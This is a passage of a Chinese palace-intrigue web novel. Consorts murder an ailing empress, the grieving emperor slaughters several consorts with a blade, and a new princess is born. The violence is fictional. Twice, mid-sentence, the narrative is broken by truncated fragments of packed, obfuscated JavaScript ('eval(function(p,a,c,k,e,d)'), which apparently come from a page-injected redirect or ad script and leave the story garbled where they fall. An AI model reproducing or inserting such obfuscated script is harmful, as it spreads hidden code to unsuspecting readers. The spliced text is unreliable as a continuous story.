李玉娘点点头,起身时腹部微微隆起,她抚了抚肚中孩儿,眼中狠厉一闪:“姐姐,皇后狠毒,害我们至此,我们又岂能让她好过……待姐姐登临高位后,妹妹母子就全仰仗姐姐了。” 宜含又谦虚了几句,这才带着人出了景福宫的大门。 随着景福宫渐远,宜含的脸色有些沉重,先前为了取信李玉娘,她主动服食了五毒饼。太医虽然替她暂时镇住疼痛,可到底还是伤了身子。 她转头唤来周颐,有些无力地低声吩咐道:“姑姑,让人盯紧她,倘若她有什么异动……” 宜含没有说完,但周颐领会了意思。 宜含坐在轿舆中,思绪一阵翻涌,复仇的火焰在她胸中燃烧,利用李玉娘虽让她心生一丝愧疚,但后宫如同战场,对别人仁慈,便是自掘坟墓。 半个月后,宫里突然传出万皇后病情加重的消息,宜含和贞妃就知道,是李玉娘出手了。 30. 第 30 章 万皇后病倒如山,病情一下子加重,虽然有些奇怪,但仿佛也在情理之中,毕竟……她的病,断断续续也快半年了,病情时好时坏的,也就让人不以为意了。 然而这一次,万皇后却没有再好起来,身子也是一日比一日衰弱。 近三个月后,万皇后已经病的起不了身了。 姬阆亲自过问了万皇后的病情,可太医院也束手无策,再者万皇后似乎求生意识并不强烈,绝大多数时间都是睡着的。 “无能!” 姬阆拍着手下的御案,怒斥着下首跪了一地的太医们。 太医们将头埋得更低了,“臣等惶恐……” 姬阆站起身,走到太医们跟前,他半蹲下,直视着面前跪成一排的太医:“朕不要你们惶恐,只要你们能治好皇后的病!” 姬阆的话音如雷霆般回荡在坤宁宫的偏殿内,太医们个个汗如雨下,不敢抬起头来。 空气中弥漫着浓重的药香和一丝隐隐的绝望。万皇后的寝殿就在隔壁,帘幕低垂,隐约传来微弱的喘息声。 姬阆的眼神锐利如刀,他缓缓站直身子,袍袖一挥:“都退下吧!明日若皇后再无起色,朕要你们的脑袋!” 太医们如蒙大赦,纷纷叩首退下。 殿内只剩姬阆一人,他转过身,推开寝殿的门扉。 万皇后躺在凤床上,脸色惨白,曾经的雍容华贵的容颜早已被病魔所吞噬。 姬阆快步上前,伸手握住她的手,那手冰凉得像冬日的湖水。他强压住心头的慌乱,声音柔和下来:“妙贤,我已经让太医院倾力而为,你会好起来的。我还等你好起来一起去秋弥呢……” 万皇后睡的很平稳,没有丝毫反应,姬阆坐在床边同她说了好些时候的话,这才依依不舍的离开了坤宁宫。 秋日的皇宫笼罩在一层薄薄的雾气中,树叶渐黄,风中带着一丝凉意。 坤宁宫内,万皇后的病情似乎已到了油尽灯枯的地步。她躺在床上,脸色蜡黄,呼吸微弱,偶尔睁开眼睛,却也只是茫然地望着帐顶。 太医们日夜轮值,却只能摇头叹息。 姬阆每日都会来坤宁宫探视,他坐在床边,握着万皇后的手,眼中满是忧色。 “妙贤,你要撑住啊。” 姬阆低声呢喃,声音中带着一丝疲惫。 自从万皇后病重以来,他的心思全扑在了这里,前朝的事务虽有大臣们料理,但秋猎一事,却让他左右为难。 秋猎是祖制,每年秋季,皇帝需亲率王公大臣前往西苑围猎,以示武德,祈求来年丰收。但万皇后的病情这边严重,他怎么敢安心离宫? 这日,姬阆在御书房批阅奏折时,又见到了礼部尚书呈上的秋猎安排。奏折上详列了行程、随行人员和所需仪仗。 他揉了揉眉心,将奏折搁置一旁。这已经是礼部第三次上折子了,这些日子为着秋弥的事,前朝闹了好些日子。 门外,崔玉顺小心翼翼地叩门进来:“万岁爷,贵妃娘娘求见。” 姬阆微微一怔,这些日子宜含一直忙于后宫事务,鲜有来乾清宫的时候。 他点头道:“宣。” 宜含一袭浅紫色宫装,步履轻盈地走入书房。 见到姬阆,她福身行礼,“臣妾见过万岁爷。” 姬阆对着她抬了抬手,“贵妃不必多礼,这些日子宫务繁忙,你也辛苦了。” 宜含笑了笑,“都是臣妾分内之事,怎么劳您挂念,真是臣妾的罪过了。” 说罢,她上前去为姬阆添置茶水,见他面上似有愁色,又主动为他按压穴位,“臣妾不懂国家大事,但万岁爷也该爱惜自个儿的身子才是。” 宜含的力道很合适,姬阆舒服地眯上了眼,听着宜含的关切,他不以为意,“左不过是他们让朕去秋弥,如今皇后都病成这样了,朕怎么能放心呢……” 宜含笑了笑,她手中的动作继续,“万岁爷说的是,国母不安,他们不思祈求中宫康复,反而闹着去秋弥,倒也着实有些太不知事了。” 姬阆又享受了盏茶的功夫,这才止住了宜含的动作,脸上露出一抹许久不见的笑容,“若人人都像你这样懂事,那朕也可以安心做个甩手掌柜了。” 见此,宜含转而为他研墨,轻声道:“秋弥乃是祖制,关乎社稷,前朝议论纷纷也是有的,万岁爷不理会他们也就是了。” 闻言,姬阆也叹了口气,坐回御案后:“朕何尝不知?只是皇后病情堪忧,朕若离宫,万一有变……” 她停下手中的动作,上前一步,:“若万岁爷实在为难,此事不若就交给臣妾罢。反正秋猎不过数日而已,臣妾和宫中的姐妹们自会照料皇后娘娘周全。毕竟,若万岁爷若不去,引起朝野非议就不好了。” 宜含的话,刚好点中了姬阆的顾虑。他看着宜含那双温柔的眼睛,不由心生一抹暖意。 他沉思片刻,终于点头:“贵妃说得有理,只是,皇后还在病中,随行的嫔妃不宜过多,你且看着安排即可。” 宜含心中一喜,不露声色道:“万岁英明,臣妾这就去安排宫中事宜。” 离开御书房后,宜含快步登上轿舆,周颐迎上前:“娘娘,万岁爷可决定了?” 宜含点头,眼中闪过一丝冷厉:“自然,此时我们留守宫中,正是天赐良机。你去传话给贞妃,就说本宫新得了一些彩缎,请她过来挑选。” 夜幕降临,皇宫灯火点点。 永和宫的偏殿内,烛光摇曳,宜含和贞妃交流一番,商议如何彻底除掉万皇后。 原本她们以为这迷药万无一失,可不知道是万皇后命太硬,还是身子太好的缘故,竟然教她捱过来了,还有了几分起色。 她们如何废了那么大的代价,如何能让她恢复如初。可姬阆几乎日日都守在坤宁宫,她们一点下手的机会都没有。 眼瞧着秋弥就到了,姬阆不日就要出宫,谁料到他顾忌万皇后的病情,竟然连续推脱了好几次。 她们看在眼里是急在心里,因此,这才有了白日里宜含去乾清宫的事。 约定好章程,宜含和贞妃两人分头行头。 到了姬阆离宫这日,宜含率着后宫嫔妃送到了贞顺门外。随行的嫔妃宜含仅仅只是安排了五位,且还都是美人、才人一类的低位宫嫔。 自姬阆离开后,宜含每日不落地到坤宁宫安排万皇后的事宜,趁此机会,她将坤宁宫的情况大致也都摸透了。 在充分了解到坤宁宫每日宫门下钥的时辰以及值夜守备之后,她这才最后一次和贞妃她们商议细节。 就在姬阆离宫后的第五日,刚过了戌时,因为涉及到万皇后要更换药方,太医院知会了宜含一声,她转而又命人去请了汪嬷嬷来,届时两人再一同过去。 因万皇后病情有异,太医院时常都在更换药方,每每到了这个时候,宜含都会请了汪嬷嬷。 继而这次,汪嬷嬷也并未生疑,照例交代了坤宁宫的宫女后,这才带着两个小宫女去了宜含的永和宫。 时间很快来到亥时,皇宫陷入沉寂,只剩下外头的梆子声 李玉娘在景福宫中整装待发,她抚着已经隆起的腹部,那日五毒饼一事,让她彻底寒心。 万皇后要害她腹中孩儿,她岂能放过万皇后?即便是鱼死网破。 她带上杨嬷嬷和两个心腹的宫女,趁夜色潜向坤宁宫。 与此同时,这边周颐也带着沉香向李玉娘的方向汇合而去。 宜含早已打通了关节,她们很快就在坤宁宫的后门处汇合,顺利潜入了后殿。 同一时刻,贞妃和贤妃出现在昌庆宫附近。 德嫔自从小产后,一直被禁足在此,已有大半年了,她蓬头垢面,眼中满是怨毒,哪里还有当初的意气风发。 贤妃二人设法支开守卫,宋美人又命人撬开了门锁。 宋美人的出现并不意外,她同德嫔一样恨惨了万皇后。 “德嫔娘娘,万岁爷出宫了,坤宁宫的贱妇一个人在那儿,今夜就是咱们的机会!” 德嫔闻言,她咬牙切齿:“贱人!她害我至此,本宫就算是死!也要拖着她下黄泉……” 她环顾四周,而后抓起一把剪刀,冲出昌庆宫,跟宋美人两人直奔坤宁宫的方向而去。 李玉娘对坤宁宫轻车熟路,闲庭信步地穿行在坤宁宫的小径上,她和杨嬷嬷对视一番眼神后,一行人自窗户悄然钻进了万皇后的寝殿里。 她们脚步轻轻,立即锁定了两个守在床榻旁的丫鬟。杨嬷嬷和周颐对视一眼后,立即对她们出手。 只见她们雷霆不及掩耳之势堵住了两个宫女的嘴,然后杨嬷嬷抄起提前准备好的棍子对着两人的后颈就是一击。 将她们捆好后,李玉娘让两个人宫女看管好她们。 此时,万皇后独自躺在床上,刚刚的动静自然没有惊醒她。 她这些日子病得神志恍惚,睡梦中常常回想往事,从一介民女到母仪天下的皇后,她本以为嫁给姬阆是天大福气,即便陪他在南苑的几年,谁知两人最后竟然会走到这一步。 那些年,她做过许多狠事。可如今,她后悔了。若能重来,她宁愿不进宫,只愿嫁一寻常人,草草一生。 门悄无声息地推开,李玉娘一行人猫着腰进来。寝殿内只有一盏昏黄的烛灯,周颐悄然上前吹灭。 杨嬷嬷深吸一口气,抓起床边的绣枕,猛地按在万皇后的脸上。 另外几人在同一时间死死摁住了万皇后的手脚,以防止她乱动。 万皇后猛然惊醒,本能地挣扎起来,她双手乱抓,试图挣开桎梏自己的手,推开枕头。 然而对方的力气却大的吓人,她只能发出微弱的闷哼声。 李玉娘和周颐她们死死按住万皇后的手脚,因为缺氧,万皇后剧烈扭动,床榻发出吱呀声。 在窒息的痛苦中,万皇后的脑海中闪过一生。她想起初嫁姬阆时的不安,被圈禁在南苑时的惶恐,想起第一个孩子的夭折,初等高位时的欣喜。 最后,她想起那些被她害死的嫔妃和皇嗣……一切都那么悲哀…… 她的反抗渐渐减弱,双手无力地垂下,眼角滑落一滴泪。 终于,她的身体僵直,不再动弹…… 杨嬷嬷喘着气,她害怕万皇后只是晕了过去,没有完全死透,不敢撤开枕头。 如此又过了片刻,杨嬷嬷才撤开了枕头。 万皇后的眼睛睁大,脸上布满惊恐。 李玉娘摸了摸她的鼻息,已无呼吸。看着万皇后可怖的死相,她腹中忍不住一阵抽搐。 周颐低声道:“美人,咱们快走!” 李玉娘有些后怕,她的双腿发软,杨嬷嬷只得跟另外几个宫女架着她离开了。 在离开前,她们又解开了外边坤宁宫两个宫女的束缚,将现场恢复如常。 李玉娘她们前脚刚出了坤宁宫不久后,宋美人和德嫔后脚就闯进了万皇后的寝室。 看着床榻上的人影,德嫔抄起剪刀,对着锦被下的身子就是用力一击,口中还是喃喃道:“贱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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宜含到也罢,勉强撑着体面。可汪嬷嬷却听红了眼,就要杀了德嫔给万皇后偿命。 见此,宜含头痛地让人将两人分开,她转头看着德嫔,厉声道:“德嫔,你还在禁足,怎么会出现在坤宁宫?” 德嫔环顾四周,绝望地大喊:“贵妃娘娘,本宫没有!是别人陷害!对……都是有人陷害本宫!” 但并无人相信,人证物证具在,且万皇后身上还有德嫔留下的伤口,这些全都做不得假! 宋美人已死,德嫔算是坐实了杀害皇后的罪名。 很快,贞妃和贤妃等人收到消息联袂而至。 丽妃进殿去瞧瞧瞅了一眼,此时万皇后的脸色青的有些发紫,眼睛睁得老大,两个血窟窿的血迹也还未干透,看起来阴森可怖极了。 “啊……” 丽妃捂着胸口一路小跑出来,她差点没吐出来。 见此,贞妃和贤妃对视一眼,知道万皇后是死的不能再死了,恶心之余,心头一阵痛快,她们终于大仇得报。 四人一合计,立即命人去请了司礼监的太监过来。 司礼监的大太监们大多都跟着去秋弥了,只有一位陈秉笔在。 得知中宫殒命的消息,陈秉笔面色大变,他进殿确认了万皇后的死讯后,才和宜含等人商议起来。 甭管如何,几人先让人去撞了丧钟,而后由司礼监八百里加急去禀告姬阆。 中宫崩逝,在京诰命是要入宫守灵的,还有奉万皇后遗体于梓宫,宜含等人的事情还有很多。 至于德嫔,她被宜含等人交给了司礼监,暂且关押在司礼监的大牢里。 不多时,沉重的钟声回荡在天际,一声比一声沉闷,随着第二十七声落下,钟声戛然而止。 东京城的百姓数着钟声,心头一阵大骇,禁廷响起大丧之音,必定是有极为尊贵之人崩逝。 稍微懂些规制的人家,立即就安排家中下人悬挂白帆,将鲜艳夺目的物品尽数收下。 不过丑时,姬阆在西苑猎场就接到万皇后崩逝的急报。 他脸色煞白,鲤鱼打挺起来,立即让人安排回銮的事宜。不过很快,他又嫌弃这些人动作太慢,骑着一匹青骢马就只奔东京而去。 崔玉顺吓的魂魄俱散,立即指着几个宦官叱道:“还不快去跟着万岁爷,若有什么好歹,你们脑袋甭想要了!” 姬阆走的突然,剩下一众大臣面面相觑,也只能紧赶慢安排回銮的事。 猎队仓皇返回,秋弥草草结束。 次日一早,姬阆骑着马直奔禁廷,一直到交泰殿前停下来,他又一路小跑穿过交泰殿的门,冲进坤宁宫。 在看到万皇后的遗体那一刻,他似乎是不敢相信,他红着眼睛跪在床前,很快就泪流满面:“妙贤……你怎么就这么去了!” 宜含同样红了眼,她跪下请罪:“万岁爷,臣妾有罪,是臣妾未能看顾好皇后娘娘。以至于宋美人和德嫔趁乱行凶,臣妾罪该万死。” “行凶?” 宜含的话点燃了姬阆的怒火,他敏锐地抓住了重点。 其他嫔妃跪了一地,她们面面相觑。昨儿的事情她们都知道了,没想到德嫔和宋美人会有那么大的胆子去行刺的万皇后。 姬阆一个字一个字地咬了出来,“那贱人现下在何处?为何不拿了她来了!” 宜含不卑不亢地将前因后果都讲了一遍,而后才开口回答:“回万岁爷的话,待臣妾等赶到的时候,宋美人已经自裁身亡。拿下德嫔之后,又将她交由了陈秉笔,现下还关押在东厂的大牢里。” 姬阆面色可怖,他坐在椅子上发号施令:“去拿了她来,朕要亲自审问!” 31. 第 31 章 德嫔被押解到坤宁宫时,已是日上三竿。 此时,她的头发散乱,衣服上沾满了尘土和血渍,脸上布满惊恐和绝望。 东厂的番子们将她推跪在地上,她抬头看到姬阆那双赤红的眼睛,不由自主地颤抖起来。 “万岁爷……万岁爷饶命!” 德嫔叩头如捣蒜,额头撞在地上,发出闷响。“不是臣妾!臣妾是被人陷害的!臣妾和宋美人到坤宁宫时,皇后……皇后她已经没了气息!” 姬阆猛地站起,走到她面前,一脚踹在她肩上。 德嫔痛呼一声,侧翻在地,却不敢起身,只顾哭喊:“还请万岁爷明察!臣妾怨恨皇后不假,可臣妾怎么敢弑后?是有人放臣妾出昌庆宫,臣妾一时鬼迷心窍,才……才……” “放你出来的?” 姬阆的声音如寒冰般刺骨,他转头看向宜含,“贵妃,此事你可知情?” 宜含跪在地上,声音平静却带着一丝颤意:“回万岁爷,德嫔被禁足昌庆宫,守卫是东厂安排的。臣妾留守宫中,只管坤宁宫事宜,并不知昌庆宫有变。或许是守卫疏忽……” 姬阆冷哼一声,目光如刀扫过跪着的众嫔妃。贞妃和贤妃低着头,丽妃则吓得脸色苍白,不敢吱声。 殿内空气凝固,只有德嫔的抽泣声回荡。 “来人!” 姬阆厉喝,“将昌庆宫守卫尽数拿下,严加审查!” 陈秉笔匆匆赶来,跪下禀报:“万岁爷,奴婢已命人封锁昌庆宫。已经拷打过昌庆宫的守卫了,他们昨儿吃了些酒,出去如厕时,似乎是德嫔娘娘撬开了门锁,昌庆宫的宫门前还留着她的簪子。” 姬阆的拳头捏得咔咔作响,他盯着德嫔:“好哇!到了这个时候你竟然还敢欺瞒朕!” 说罢,姬阆又狠狠踹了德嫔一脚,“贱妇!还不老实交代!” 德嫔吃痛,在地上缓了好久,才微微抬起头,她的眼中流出一丝绝望而后坚定起来。 她知道自己难逃一死,索性破罐破摔:“万岁爷,是宋美人来找臣妾,她说皇后病重,正是我们报仇之时。臣妾被禁足半年,自是狠毒了皇后,便跟她去了坤宁宫。可臣妾发誓,到时皇后已死!床上只有尸体,臣妾慌乱中刺了她一刀,但那不是臣妾杀的她!” “至于是她自己死了,还是说,是有人在臣妾之前就谁杀了她……” 德嫔的目光游离在宜含等人身上,然后她突然凄惨地大笑起来,似乎想明白了什么。 姬阆抬手又是一巴掌,德嫔的笑声戛然而止,她被击倒在地,嘴里满是鲜血。 不过很快,德嫔颤颤巍巍地站起身,她的目光充满了恨意,不由啐了姬阆一口:“昏君!万氏蛇蝎心肠,残害皇嗣,你分明看在眼里,却不管不顾!你把我们当成什么了?你和万氏的玩物吗?呸……” 说罢,德嫔奋力向台阶撞了过去。 在一阵惊呼声中,德嫔额头满是鲜血,没了气息…… 贞妃等人看的触目惊心,她奋起骂姬阆的时候,似乎将她们的心声一同道出。 就在此时,东厂连夜对万皇后的验尸报告出来了,陈秉笔看了一眼,有些意外却又好像在情理之中。 他将报告交到了姬阆的手上。 东厂昨夜让人验过万皇后的尸身,据上面的分析,德嫔等人闯入时万皇后的确已经身死,从她尸身上遗留的血洞能分辨出来。加上太医院一口咬定了万皇后是旧疾复发,算是为万皇后的死因盖棺定论。 然而姬阆却不相信,他三下五除二撕碎了手里的报告! 他走下台阶,看着德嫔的尸身,一连踹了好几脚,他犹嫌不足,让人把德嫔的尸体做骨扬灰! “传旨!” 姬阆盯着下面的,“废黜这两个贱妇的一切尊荣封诰,立即派人逮捕她的亲眷,斩首示众!” 说罢,他凶狠的目光来到下首的嫔妃身上,他一把抓住贤妃的衣襟,质问道:“说!是不是你!是不是你做的!” 贤妃变了脸色,她颤着声音,带着哭腔道:“万……万岁爷,不……不是臣妾……臣妾不敢……” 闻言,姬阆转头盯上了宜含,推了她一把,道:“那就是你了,甄贵妃!” 宜含叩头,“是臣妾无能,没有照顾好皇后娘娘,臣妾死罪……” 姬阆闭目,声音近乎绝望,“是你们……都是你们才逼死了她……妙贤……” 就当众人以为这件事就会这样揭过,暗自都松了口气时,姬阆从一个番子的腰间抽出一把刀,径直劈向了距离他最近的一名宫嫔。 陈才人惨叫一声,血液自她的后背疯狂涌出来。 众人都傻了,谁料这个时候,姬阆又砍向了第二人。 “万岁……” “皇爷……” …… 此起彼伏的呼喊声袭来,姬阆却充耳未闻,口中只是呢喃着,“是你们逼死了她,都去给她偿命……”诸如此类的话。 场面瞬间乱作一团,鲜血溅洒在地上,映出刺眼的红。 姬阆的眼睛赤红如血,他挥舞着刀刃,这次中刀的是禧嫔。她本就吓得脸色苍白,姬阆的刀刃从她后背划过,她尖叫一声,扑倒在地,鲜血迅速浸湿了她的宫装。 禧嫔可是一宫主位,姬阆发起狠来了连她都不放过。众嫔妃顿时惊恐万状,四散奔逃,殿内哭喊声、惨叫声和求饶声交织成一片。 “万岁爷!万岁爷!” 陈秉笔反应过来,他扑上前去,想抱住姬阆的腰,却被姬阆一肘击开,摔倒在地。 东厂的番子们面面相觑,他们却从未见过姬阆这般失控模样,一时间,竟无人敢上前。 就在这时,丽妃也遭了姬阆的毒手,刀刃自她胸口穿过。 贤妃本跪在不远处,见状立即爬起,向殿外逃去。 众人心头狂跳:姬阆疯了! 然而到底没见过这样血腥的场面,贤妃没跑几步,就腿软得站不起来,只能爬行着向门口挪动,口中哭喊:“万岁爷饶命!不是臣妾啊!” 谁知姬阆的目光转到她身上,贤妃见势不妙,脸色煞白地立即向后退去,但姬阆已扑来,刀刃高举。 贤妃捂住脸,只来得及尖叫一声:“万岁爷!” 就在刀刃即将落下,贞妃却突然站起身来,她怒目圆睁,对着姬阆怒骂了一句:“昏君!” 众人脸色发白,姬阆本就疯了,贞妃还刺激他作甚! 贞妃算是彻底看清了这个男人,她自嘲地笑了笑:“德嫔说的对,姬阆,你就是彻头彻尾的昏君。你口口声声说是我们逼死了皇后,可逼死她的,分明就是你!是你的软弱害了肃妃!是你不作为害死了一个又一个皇嗣!也是你害死了皇后……” 姬阆睁大了眼睛,他面无表情地走到贞妃跟前。 只听见“啪”的一声,姬阆抬手就是一巴掌。 “住口!” 贞妃被姬阆一掌拍倒在地,口中溢出鲜血。她咳嗽了几声,抬起头,眼中满是恨意和不甘。 众人屏息凝神,谁也不敢出声,生怕引火烧身。姬阆的胸膛剧烈起伏,他手中的刀刃还在滴血,眼神中混杂着疯狂和痛苦。 “住口?你让我住口?” 贞妃擦了擦嘴角的血迹,竟强撑着爬起。 她平日里温婉的容颜此刻扭曲得可怕,声音尖利如刀:“你以为打我就能掩盖真相?皇后是死了,可她怎么死的?你心里清楚!这些年,后宫的血债,不都是因你而起吗!你宠信皇后,任由她为非作歹,纵容她害死贤妃、昌嫔、臣妾的孩子,还害得甄贵妃此生都不能再有身孕……可你呢?陛下、万岁爷、我的丈夫……您只是装作不知,事后轻描淡写地找了一些奴婢顶罪罚。你是皇帝,却连自己的女人都管不住!” 姬阆的脸色铁青,他举起刀刃,指向贞妃:“贱人!你还敢胡言乱语?朕杀了你!” 贞妃大笑起来,笑声回荡在坤宁宫的殿内,带着一丝凄凉:“杀吧!杀了我们所有人,你就能心安了?姬阆,你醒醒吧!皇后不是我们逼死的,是她自己作孽太多,老天收了她!你若真爱她,为什么还要左一个右一个地纳我们这些人进宫?纳了我们之后,为什么不护着我们这些无辜的女人?我们进宫给你生儿育女?可结果呢?一个个死于非命,你却在这里发疯杀人!” 殿内的嫔妃们闻言,有人低声抽泣,有人脸色煞白。 宜含扶着受伤的周颐,跪在地上不敢抬头。她本以为姬阆的疯狂会很快平息,谁知贞妃的这番话如火上浇油。 贤妃瘫坐在地,胳膊上的伤口还在流血,她抽泣道:“贞姐姐……快别说了……你别说了……” 但贞妃已豁出去了。 她一步步逼近姬阆,眼中燃烧着火焰:“昏君!你知道吗?德嫔临死前说的对,我们都只是你的玩物!皇后肆意妄为地害人,你却视而不见。我们只想着自保,只想自保而已……可你却说是我们逼死她。哈哈……姬阆,你真的配做皇帝吗?真的配做一个男人吗?” 姬阆终于忍耐不住,他大吼一声,刀刃猛地挥下。 贞妃没有躲闪,她闭上眼睛,主动迎了上去,刀刃刺破她的肌肤,疼痛迅速袭来,鲜血喷涌而出,她却笑了,这烂透了的皇宫,她终于解脱了…… 恍惚间,她似乎看到了刚入宫时的紧张,被册为贞妃时候的喜悦,以及小产时的悲痛欲绝。 “万岁爷!万岁爷不可!” 崔玉顺此时刚好赶到,他气喘吁吁,大汗淋漓,他死死抱住姬阆的腿,却没能阻止这一幕,“万岁爷,贞妃娘娘是气糊涂了!您是九五之尊,不能再杀人了!皇后娘娘在天之灵,可都在看着您呢!” 贞妃倒在地上,血液不断涌出,她抽搐了几下,彻底没了气息。 姬阆的动作停滞了,他低头看着崔玉顺,那双赤红的眼睛中闪过一丝迷茫。 殿内,东厂的番子们终于反应过来,几人大着胆子上前,将姬阆手中的刀夺下。 其中一人低声道:“万岁爷,臣等该死,让您受惊了。” 姬阆踉跄着后退几步。 他望着满殿的鲜血和尸体,丽妃的尸体还躺在地上,胸口一个巨大的伤口,陈才人的尸体蜷缩在角落,鲜血早已经凝固。 贤妃的哭声断断续续,她缓缓爬到贞妃的尸身跟前,双眼含泪地擦拭着贞妃的伤口,她摁住流血的地方,哭泣道:“贞姐姐……贞姐姐,你快醒醒,你快醒醒啊……呜呜……快传太医,传太医啊……” 若不是贞妃,此时躺在地上的合该是她了。想着这些年两人虽然明争暗斗,但到底还是互相扶持,一时不由悲从心来。 就在此时,李玉娘被先前一幕震的惊惧交加,她再也忍不住了,惨叫一声倒在地上,捂着肚子道:“肚子……我的肚子好疼……” 李玉娘的惨叫声如利刃般划破殿内的死寂,所有人的目光瞬间转向她。 她倒在地上,双手死死捂着隆起的腹部,脸色苍白如纸,额头渗出细密的汗珠。 “孩子……我的孩子……” 她喃喃着,声音颤抖得不成调子。 杨嬷嬷从角落冲出,跪在她身边,急切地检查:“美人!美人坚持住!奴婢这就去请太医!” 殿内本已乱作一团,此刻更加混乱了。 东厂的番子们面面相觑,不知该如何是好。崔玉顺忍着伤痛,赶紧指挥:“快!快传太医!李美人有孕在身,万不能有什么闪失!” 几个内侍慌忙跑出殿外,脚步声在空荡的走廊回荡。 姬阆站在原地,望着这一幕,他的眼神从疯狂中渐渐恢复清醒。 鲜血的腥味弥漫在空气中,贞妃的尸体躺在脚边,贤妃哭得撕心裂肺。丽妃和陈才人等人的尸体已被宫女们用白布遮盖,但那刺眼的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宜含后脚赶了过来,刚好听到王太医的话,她近乎没站稳脚,“王太医,李美人如何了?” 宜含的声音带着一丝颤抖,她快步走入寝殿,目光直直落在李玉娘的腹部。 王太医起身行礼:“回贵妃娘娘的话,李美人动了胎气,胎儿已足月,怕是要临盆了。臣已准备了接生事宜,但需立即行动,以免母子有失。” 宜含闻言,心头一紧。 殿内的宫女们忙碌起来,产婆是一早就备下的,宜含让人将产婆请进来,而后又让杨嬷嬷指挥着铺开干净的锦被,烧热水,准备剪刀和布巾。 李玉娘痛得满头大汗,她抓住宜含的手,声音虚弱:“姐姐……我怕……皇后娘娘崩逝,他会不会……” 宜含赶紧捂住她的嘴,低声道:“妹妹莫胡说,你安心生产,姐姐就在这里守着。” 她转头对王太医道:“王太医,一切拜托你了。若有差池,本宫唯你是问。” 王太医点头,命宫女们屏退闲杂人等,只留杨嬷嬷和几个稳婆。 寝殿内烛火通明,空气中弥漫着淡淡的草药味。李玉娘的痛呼声一声高过一声,她紧咬牙关,汗水浸湿了枕巾。 宜含守在床边,握着她的手,轻声安慰:“妹妹,坚持住。想想孩子,他是你的希望,也是咱们的指望。” 生产过程漫长而煎熬。 李玉娘几次痛得几近昏厥,杨嬷嬷用热帕子擦拭她的额头,王太医煎好汤药后让人送进来,由杨嬷嬷喂她服下安胎保力的汤药。 宜含表面镇定,心思却如潮水般涌动,姬阆刚才在坤宁宫的疯狂让她现在都还心有余悸。 约莫近两个时辰后,随着李玉娘最后一声撕心裂肺的叫喊,一个婴儿的啼哭声响起。 稳婆一脸喜色道:“恭喜李美人,是位小公主!母女平安。” 闻言,李玉娘和宜含的脸上都露出一抹遗憾,竟……竟只是个公主吗…… 稳婆抱起孩子,用温水洗去孩子身上的胎脂后,裹在锦缎中。 李玉娘虚弱的脸上尽是复杂,她眼中泪光闪烁:“我的孩儿……让我看看她。” 宜含上前,接过孩子。 那婴儿粉嫩的小脸,哭声洪亮,她心头的遗憾很快被压下:“妹妹,小公主的眉眼像极了万岁爷。” 消息很快传到了姬阆这边,此时他枯坐在万皇后的棺椁旁,皇后之死让他心如死灰,贞妃她们的死更添悔恨。 崔玉顺进来禀报:“万岁爷,贵妃娘娘让人禀报,说是李美人产下一位公主,母女平安。” 姬阆的脸上的阴霾稍微散了一些,他有气无力地开口:“公主啊……甚好……甚好……你去库里挑些好东西赏给李美人罢。” 崔玉顺本以为姬阆回去看望小公主,然而姬阆却没有动。他在心底叹了口气,看来万岁爷是当真伤心,连皇嗣也顾不上了。 他应了一声,就当他准备退下时,耳边再次传来姬阆的声音,“李美人生育公主有功,就晋为嫔罢,让礼部选定了封号择日行册封礼。” “嗳,奴婢这就去办。” 崔玉顺退出了坤宁宫,他先去了姬阆的内裤挑礼物,而后才去内阁传话。 万皇后的崩逝还是犹如一个石子,在平静的湖面惊起滔天巨浪。 为了万皇后的丧仪,礼部立即就忙碌起来,后宫这边,宜含也要处理内外命妇守灵的事情。 就在当天夜里,玉堂宫被一场大火吞噬,贤妃被困死在寝殿。 据东厂的人调查,她是在宫中自焚的。 得到消息后,姬阆把自己关在房间里许久,他一下子仿佛没了精气神,老了十岁不止。 待他再次出来时,鬓间的秀发已经白了…… 32. 第 32 章 李玉娘被封了懿嫔,她的册封礼冷清的有些过分,万皇后的丧期刚过了没有多久,加上姬阆也没有要大办的意思,礼部也就一切从简了。 不过小公主的满月礼,宜含让人大办了,除了内命妇,宜含还请了几个福寿双全的外命妇来参加,算是一扫万皇后崩逝的阴霾。 这是姬阆继位后第一个活下来的皇嗣,后宫的娘娘们尤为喜爱这个小生命,在宫廷的这片盐碱地里,终于也盛开出美丽的花朵了。 姬阆抱着小公主,封她为万寿公主,希望她千岁万寿,永享长乐。 至于姬阆之前杀害后宫嫔妃,因为东厂和内阁将消息摁住了,这才没有闹起来。同时,在姬阆的主导下,礼部定下了万皇后的谥号“荣安皇后”。 汪嬷嬷等一众坤宁宫老人,自愿前往皇陵为荣安皇后守灵。 汪嬷嬷等人离去前,她最后瞥了坤宁宫一眼,她知道,也许不久之后,这里会迎来新的主人。 如她所料想的一样,自荣安皇后的孝期一过,前朝请封册立新后的折子如雪花般堆满了姬阆的御案。 只是,荣安皇后一死,仿佛也带走了姬阆的魂灵。除了见到万寿公主时会露出笑容,其余时间几乎都是冷冰冰的,没有一丝生气。 终于,在大安九年,姬阆正式下诏册封宜含为皇后,李玉娘也得以进位为懿妃。 这些年,在宜含管辖下的后宫一片祥和安定,她的确是众望所归。 次年,李玉娘也顺利诞下了姬阆的长子。姬阆为他取名为晟,希望他未来光明灿烂。 同年,李玉娘荣登贵妃之位,盛极一时。 就在大安十二年底,齐王姬宸以清君侧为名,聚众十万,自山东起兵造反。 乱军很快就直逼东京而来。 齐王是成庙之子,也是因为他,姬阆和荣安皇后被囚禁在南苑数年。 先帝宪庙继位后,本欲诛杀此人,然最终因为种种原因不了了之。 姬阆继位后,前前后后又因为福建倭寇作乱,这才顾上来。 大安十三年,乱军势如破竹,一路西进。 朝中主战和主和的声音此起彼伏,就在这时,姬阆自边关和东南各自抽调了一部分兵力护卫东京。 待齐王乱军兵临城下时,姬阆率军御驾亲征,苦苦坚持三日后,自边关和东南赶来的两路大军同王师夹击乱军。 